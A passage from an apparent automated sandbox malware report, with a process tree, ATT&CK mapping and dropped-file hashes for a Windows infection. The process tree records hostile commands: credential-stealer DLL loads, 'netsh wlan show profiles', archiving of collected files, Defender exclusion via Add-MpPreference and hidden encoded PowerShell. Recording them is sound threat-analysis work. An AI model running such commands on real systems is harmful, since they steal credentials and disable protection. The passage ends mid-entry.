- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
    3⤵
    PID:1076
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:5056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\084248216164_Desktop.zip' -CompressionLevel Optimal
      4⤵
      PID:6744
- C:\Users\Admin\AppData\Local\Temp\1001082001\go.exe
  "C:\Users\Admin\AppData\Local\Temp\1001082001\go.exe"
  2⤵
  PID:2988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/account
    3⤵
    PID:4376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8b0073cb8,0x7ff8b0073cc8,0x7ff8b0073cd8
      4⤵
      PID:5808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video
    3⤵
    PID:6032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8b0073cb8,0x7ff8b0073cc8,0x7ff8b0073cd8
      4⤵
      PID:1704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
    3⤵
    PID:6280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8b0073cb8,0x7ff8b0073cc8,0x7ff8b0073cd8
      4⤵
      PID:6464
- C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
  "C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe"
  2⤵
  PID:404
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
  2⤵
  PID:5236
- C:\Users\Admin\AppData\Local\Temp\1001084001\random.exe
  "C:\Users\Admin\AppData\Local\Temp\1001084001\random.exe"
  2⤵
  PID:6860
- C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe"
  2⤵
  PID:7364
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
    3⤵
    PID:7820
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:7876
  - - C:\Users\Admin\Pictures\BLz2vtX4whCMP81pKPCVDtG3.exe
      "C:\Users\Admin\Pictures\BLz2vtX4whCMP81pKPCVDtG3.exe"
      4⤵
      PID:7496
    - - C:\Users\Admin\AppData\Local\Temp\u5s8.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u5s8.0.exe"
        5⤵
        
        PID:7696
  - - C:\Users\Admin\Pictures\Nf2HThGdAtNSFlv3PYrYtDVR.exe
      "C:\Users\Admin\Pictures\Nf2HThGdAtNSFlv3PYrYtDVR.exe"
      4⤵
      PID:7508
  - - C:\Users\Admin\Pictures\aKioH4TtLKxfangiBCOrHYDI.exe
      "C:\Users\Admin\Pictures\aKioH4TtLKxfangiBCOrHYDI.exe"
      4⤵
      PID:7644
  - - C:\Users\Admin\Pictures\99Z4AtNHUp2ZtIFtTZG7K0jn.exe
      "C:\Users\Admin\Pictures\99Z4AtNHUp2ZtIFtTZG7K0jn.exe"
      4⤵
      PID:7732
  - - C:\Users\Admin\Pictures\YsvA9j1eBH2LxlP38NtrY0TU.exe
      "C:\Users\Admin\Pictures\YsvA9j1eBH2LxlP38NtrY0TU.exe"
      4⤵
      PID:6544
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:2292
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 200
        6⤵
        Program crash
        
        PID:2516
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 192
        6⤵
        Program crash
        
        PID:4948
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6544 -s 864
        5⤵
        Program crash
        
        PID:3644
  - - C:\Users\Admin\Pictures\E3wHrWTvEDN3AOUWx0G9uP9a.exe
      "C:\Users\Admin\Pictures\E3wHrWTvEDN3AOUWx0G9uP9a.exe"
      4⤵
      PID:684
  - - C:\Users\Admin\Pictures\AD12YLJ06foaXDwf6oYaooSd.exe
      "C:\Users\Admin\Pictures\AD12YLJ06foaXDwf6oYaooSd.exe" --silent --allusers=0
      4⤵
      PID:5436
    - - C:\Users\Admin\Pictures\AD12YLJ06foaXDwf6oYaooSd.exe
        
        C:\Users\Admin\Pictures\AD12YLJ06foaXDwf6oYaooSd.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.35 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6a0ee1d0,0x6a0ee1dc,0x6a0ee1e8
        5⤵
        
        PID:6052
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\AD12YLJ06foaXDwf6oYaooSd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\AD12YLJ06foaXDwf6oYaooSd.exe" --version
        5⤵
        
        PID:7612
  - - C:\Users\Admin\Pictures\OpNfZDdbomb6JOVKvAyNhksf.exe
      "C:\Users\Admin\Pictures\OpNfZDdbomb6JOVKvAyNhksf.exe"
      4⤵
      PID:7308
    - - C:\Users\Admin\AppData\Local\Temp\7zS8340.tmp\Install.exe
        
        .\Install.exe
        5⤵
        
        PID:6516
      - C:\Users\Admin\AppData\Local\Temp\7zS98BC.tmp\Install.exe
        
        .\Install.exe /mdwQTdidWRHSM "385118" /S
        6⤵
        
        PID:5204
  - - C:\Users\Admin\Pictures\DGSgYUQFTL78cMZzzOBNHOuu.exe
      "C:\Users\Admin\Pictures\DGSgYUQFTL78cMZzzOBNHOuu.exe"
      4⤵
      PID:2028
    - - C:\Users\Admin\AppData\Local\Temp\7zS835F.tmp\Install.exe
        
        .\Install.exe
        5⤵
        
        PID:8068
      - C:\Users\Admin\AppData\Local\Temp\7zS9996.tmp\Install.exe
        
        .\Install.exe /mdwQTdidWRHSM "385118" /S
        6⤵
        
        PID:4028
- C:\Users\Admin\AppData\Local\Temp\1001086001\Akh.exe
  "C:\Users\Admin\AppData\Local\Temp\1001086001\Akh.exe"
  2⤵
  PID:6916
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
    3⤵
    PID:8072
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    PID:6268
  - - C:\Users\Admin\Pictures\f0MzUYyqSGSTqPRiMwPumjoL.exe
      "C:\Users\Admin\Pictures\f0MzUYyqSGSTqPRiMwPumjoL.exe"
      4⤵
      PID:5192
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:5168
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 496
        6⤵
        Program crash
        
        PID:7340
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 504
        6⤵
        Program crash
        
        PID:7540
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5192 -s 864
        5⤵
        Program crash
        
        PID:7300
  - - C:\Users\Admin\Pictures\sfWuDVXhVISFY3WW54Ksnovi.exe
      "C:\Users\Admin\Pictures\sfWuDVXhVISFY3WW54Ksnovi.exe"
      4⤵
      PID:1028
  - - C:\Users\Admin\Pictures\gUDPWMV0TXoWMXqEzhzgH4MF.exe
      "C:\Users\Admin\Pictures\gUDPWMV0TXoWMXqEzhzgH4MF.exe"
      4⤵
      PID:4588
  - - C:\Users\Admin\Pictures\zSDOu7KZvA6O6TZcsoq9OQ70.exe
      "C:\Users\Admin\Pictures\zSDOu7KZvA6O6TZcsoq9OQ70.exe"
      4⤵
      PID:7396
  - - C:\Users\Admin\Pictures\xgLmkYKx06wdzBsqUVUPsIIR.exe
      "C:\Users\Admin\Pictures\xgLmkYKx06wdzBsqUVUPsIIR.exe"
      4⤵
      PID:5864

C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5388 -ip 5388
1⤵
PID:1052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 5816 -ip 5816
1⤵
PID:5092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6572 -ip 6572
1⤵
PID:3980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 6204 -ip 6204
1⤵
PID:7756

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:6856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5696 -ip 5696
1⤵
PID:1552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 5696 -ip 5696
1⤵
PID:6440

C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe
1⤵
PID:6328

C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 6544 -ip 6544
1⤵
PID:4392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2292 -ip 2292
1⤵
PID:6148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2292 -ip 2292
1⤵
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5192 -ip 5192
1⤵
PID:2868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 5168 -ip 5168
1⤵
PID:1560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:7460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5168 -ip 5168
1⤵
PID:5104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:7700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
caaacbd78b8e7ebc636ff19241b2b13d

SHA1
4435edc68c0594ebb8b0aa84b769d566ad913bc8

SHA256
989cc6f5cdc43f7bac8f6bc10624a47d46cbc366c671c495c6900eabc5276f7a

SHA512
c668a938bef9bbe432af676004beb1ae9c06f1ba2f154d1973e691a892cb39c345b12265b5996127efff3258ebba333847df09238f69e95f2f35879b5db7b7fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
7c194bbd45fc5d3714e8db77e01ac25a

SHA1
e758434417035cccc8891d516854afb4141dd72a

SHA256
253f8f4a60bdf1763526998865311c1f02085388892f14e94f858c50bf6e53c3

SHA512
aca42768dcc4334e49cd6295bd563c797b11523f4405cd5b4aeb41dec9379d155ae241ce937ec55063ecbf82136154e4dc5065afb78d18b42af86829bac6900d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\516f14a8-f030-42bc-b0da-a13444068385.tmp

Filesize
5KB

MD5
010357d848a633705a21dba426d11ed4

SHA1
75c2b633b59e753a3251931510239cfabb19eec2

SHA256
fa46369617e629384a6b4cac8be4d0ec97f7b1858aa83d182c77a8b22302df05

SHA512
bb9bdb87173fc55ee49fd602094c2093e06ac8451c379dfb527346ddf078af399c9b52088a62daecce43a44390532a15afa554880ce692f48d510a52890910d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b

Filesize
51KB

MD5
f61f0d4d0f968d5bba39a84c76277e1a

SHA1
aa3693ea140eca418b4b2a30f6a68f6f43b4beb2

SHA256
57147f08949ababe7deef611435ae418475a693e3823769a25c2a39b6ead9ccc

SHA512
6c3bd90f709bcf9151c9ed9ffea55c4f6883e7fda2a4e26bf018c83fe1cfbe4f4aa0db080d6d024070d53b2257472c399c8ac44eefd38b9445640efa85d5c487

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
960B

MD5
fa722d88c5e534954bc3375710dcda51

SHA1
c1d07476952c973292f01e8bbe46db9032bb16ca

SHA256
c333e147d3ae2fdcae4259b64234431ad15237b489787cf4763fc94663b137e0

SHA512
a735320f5cb3a3fcbf94df0a95ccbb68cc2afb5f6a08501e91ad5e6e44ab6812ac3f6f866bffa54ef057ce5384dcfe84e4ef0e725b7075a98aad3a5f805e14e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
2ebf22d456829acc9e255100d9aebccd

SHA1
672cd7d74397e3d23da51fadeb15e65a9a1fe60b

SHA256
62ca19dc91696f65849c09d30dacafc2de803099764e05e68d8dec5c525b9524

SHA512
d32ae2f779df9c69a9e11300e84ccf9e0fdfd606e5ba988a2f8202b6b196b18a198634e186c8ba0533a5137618292078bf5957349d6c01d38f2eedb39baf4dbf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
707B

MD5
bde3ad6d306b43d6efa50b3cd40d1af1

SHA1
0d14f4c542ab30d3743609c87050c87a9555371a

SHA256
bc5642d3c778b467338cb5558827fabe9939ce30f728917cacc35ccb41078fc7

SHA512
eb928dbc28bc80fbd205803da0c09893a50cd92a6a3fcc37c2740f1e17c5b3c9c7b675084227a10e1ea257ef548a4eead00b2be514e07c11f0c35da60d42f75d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
707B

MD5
3027638aaefb6342e5ae36f0e3ff064a

SHA1
ba4792d58e384962b4fc78f57f194b73161d20d5

SHA256
59d0d4889402f799ceb6cb971c3babc1813f8abd530ebe5715a108ba642c8989

SHA512
a43dbf37e14eac7d2ab7487fa76b8a0d0d605494a469edb872428392a8dd597fe39db71504da0090dc66a03bb5669121f79256236f515c9e81e23c10f2692331

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe583042.TMP

Filesize
705B

MD5
34a66d1b9b62f26c6eacbe1f4ef1f5aa

SHA1
2c995e844422a5c59e434822636f412e8ba269ba

SHA256
e00901fe77d7d679dab9396231347f1b5a77716e0380c510ca04efd14e745248

SHA512
2c43c67b69acdb81c6afa33dd2c82b44094bbd06e5c717742cac949c4077fd849dc16eca093a2bb3ff7f2c43cf23f0fda80d19b1fc98f9ac816fcf77ef07dcf1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
f3e71e6c8baeaf28fcf2794ad3b489f3

SHA1
8b1f77ab7977acac0f0fc0ee9b741336e34d76da

SHA256
a5d726a1a57a91858c48e3a0a423c3a553ad18faa4e5e0444cf21e40795315f6

SHA512
8d8a53c29a5f02fbb6e24bed5874328546ba02bad6e4559931dd8650f89dcb0c7ddb48ee4f191572659420eb394813dc0c53484cafd8187f83a8836591360581

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
5f249f904d6983f0b9a2b1e55a72d2d7

SHA1
5d8b2b95df9fb1b71a4ce232137ae877d0e28078

SHA256
915b22636b92be162251feccc8c8c0911fadc9970c7a422f6aa8162e91ab9600

SHA512
e248eb725241a2b39f0af02f13f03ae24fcbd6ecb09d6933bfe77434484a891219463b69fdf1451eabdf982df8f4ea969b33f1b4f192bedf49eb06dfc26fe19a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
2b74c19fa31fb4ede9e024fa10b267d7

SHA1
9bb746cdabc2639ace4435c7db2a67eeb40a773c

SHA256
c282c9b9f19c111b5dc45650dd023f05d8f0ff51a91f8f3fc70053b8cc97f076

SHA512
65308071cf7ecf6c5f2af1c06e9349bb0c8c738f92b45d025d027689fd5d8a33c8ad313e5f8f9a486f4382b1913b0d6901a6f079b366548b6c4446258715dc19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
40d2a4b103ba57985e4c7f053f7a5fac

SHA1
6a6bf2bc942005811f4a8b5b076cb0cd7c95468e

SHA256
258f1f220b61948c9c9780635ad168047cae4c215e3e34b26394d0378f689eb0

SHA512
4b4e35a97c9f7f9bd937425cbef8bcaec89f13d2c9347177428b542bf6587398fcace8a0c895d2f0e269331eeb49dd1dd5b00f48b6a384e75c5b7ba6f4b28b82

Download Submit
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe

Filesize
1.8MB

MD5
fd635877f33f6c636d53a381d787faa7

SHA1
7c9b5bf7e911db262bc7262a259153cfb67de589

SHA256
b637770e4de423f63b746f8e329ac716801b025c870358c684bd76e31885a33f

SHA512
b470c71316d1c5abcad94e9df798f238f1a809e734c9af674c642533d32ec8efc4cefa2056cbb66459557978cd85a2601d16c3e8e6051b4f6d1a1ba13f0741e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000042001\72d41b8ae8.exe

Filesize
3.0MB

MD5
b7326a6b25ec0290423e157e5b700c92

SHA1
0e7554876f8b8145a1708371b203f48168e92253

SHA256
6a1018cfa778dd25767c7de05b7e55ab7165881b9b00ca1032e6ebc07f76af97

SHA512
ac9972963db990b02bf4396f6d22162b5c5c5dbe126333ec43da3c2d92425bbc3d1dbabdfa8bc89643cf6e063f9bcac3df17fa1796f995d3025cdf63e783f780

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000044001\go.exe

Filesize
894KB

MD5
2f8912af892c160c1c24c9f38a60c1ab

SHA1
d2deae508e262444a8f15c29ebcc7ebbe08a3fdb

SHA256
59ff8e0aa665fbbf749c7548906a655cb1869bb58a3b7546efa5b416d19e6308

SHA512
0395383bde98d358b0a7f2224f903dff026ce0c6d90feb49ac0e6993ef692143b0eb25da84d9cdc9e7b373a7b75a6dbaef14746eda1bff165d59f07ca51a16bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000046001\amert.exe

Filesize
1.9MB

MD5
1f5efc271d402f9c0a93dec591571b35

SHA1
cdeec221160f5cba508cd2a76c8bfc9afb2e02d8

SHA256
a57917f8f313637ee9a037b0e5a01456839e1f3d0dc372e09180bc1251fe3005

SHA512
ee0a7c9f92dff2205c922a4f3b890004d32ed89b6f1b7d74472ab9bf55da8186e1ce67e80703bb9c42425b84975565300372433b50038f0333bef2fcc617a7d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000183001\Uni400uni.exe

Filesize
3.3MB

MD5
3dd254d7767f8ec787bec80eee20719c

SHA1
22c5768cea8262c56dc84978298f98c384a6dd4b

SHA256
c468bab0437d8a624e0ce7feaf49efb95a124eec79fe9bd45ad7840334528743

SHA512
1bfdb64ca224231f85623b01138081e9c0bb92fbf037625cfbde307a3cdbe3d213476a5e603f572728f4a05767bb106683bb621110497db69b8cca4bf7aa01d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe

Filesize
1.7MB

MD5
85a15f080b09acace350ab30460c8996

SHA1
3fc515e60e4cfa5b3321f04a96c7fb463e4b9d02

SHA256
3a2006bc835a8ffe91b9ee9206f630b3172f42e090f4e8d90be620e540f5ef6b

SHA512
ade5e3531dfa1a01e6c2a69deb2962cbf619e766da3d6e8e3453f70ff55ccbcbe21381c7b97a53d67e1ca88975f4409b1a42a759e18f806171d29e4c3f250e9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe

Filesize
301KB

MD5
832eb4dc3ed8ceb9a1735bd0c7acaf1b

SHA1
b622a406927fbb8f6cd5081bd4455fb831948fca

SHA256
2a82243697e2eec45bedc754adcdc1f6f41724a40c6d7d96fd41ad144899b6f7

SHA512
3ab8b25732a7152608be101a3daf0d55833c554ab968be8b3b79a49e1831f3ee0eeeb9586a3334fa387b1f160fd15e98a80dcfece559c9c257b44ef962874894

Download Submit
C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe

Filesize
499KB

MD5
83d0b41c7a3a0d29a268b49a313c5de5

SHA1
46f3251c771b67b40b1f3268caef8046174909a5

SHA256
09cc3364d5e1c15228822926bc65ce290c487dc3b7c0345bf265538110fa9cc9

SHA512
705ecc7c421338e37ed0d58c2d9fad03fb3565db422a0c9d895e75a399bf5f2a70cfe3ffdc860ffe010d4d1a213e0a844aeadb89ea8e0c830a2fc8c03b7669b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe

Filesize
464KB

MD5
c084d6f6ba40534fbfc5a64b21ef99ab

SHA1
0b4a17da83c0a8abbc8fab321931d5447b32b720

SHA256
afd83290a2adb219c3f1b8fbf23c27b0994fe76dfbb7dc0b416530dc0e21f624

SHA512
a5384a2f7029cf946fde44e1ff30775754ce525ca5a6fdac14184872b6e684cb6e585053cb86d32f82cbd3db48eb195ba3a642d8ee3774be579fccd993938ca1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe

Filesize
418KB

MD5
0099a99f5ffb3c3ae78af0084136fab3

SHA1
0205a065728a9ec1133e8a372b1e3864df776e8c

SHA256
919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226

SHA512
5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe

Filesize
321KB

MD5
1c7d0f34bb1d85b5d2c01367cc8f62ef

SHA1
33aedadb5361f1646cffd68791d72ba5f1424114

SHA256
e9e09c5e5d03d21fca820bd9b0a0ea7b86ab9e85cdc9996f8f1dc822b0cc801c

SHA512
53bf85d2b004f69bbbf7b6dc78e5f021aba71b6f814101c55d3bf76e6d058a973bc58270b6b621b2100c6e02d382f568d1e96024464e8ea81e6db8ccd948679d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1001078001\koooooo.exe

Filesize
379KB

MD5
90f41880d631e243cec086557cb74d63

SHA1
cb385e4172cc227ba72baf29ca1c4411fa99a26d

SHA256
23b62a27e3f5c424b16f31e5009af4f24c8bd13b1f035f87879e2a29236be7a0

SHA512
eeb85b34aa66a7e9a1b1807012999ee439433df23126a52ffa8d4b3cb2026be3bcf63ca25f143de58ba929c0d4feeaf2a603fd6ec6b5379fc48147c22f3783e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe

Filesize
3.3MB

MD5
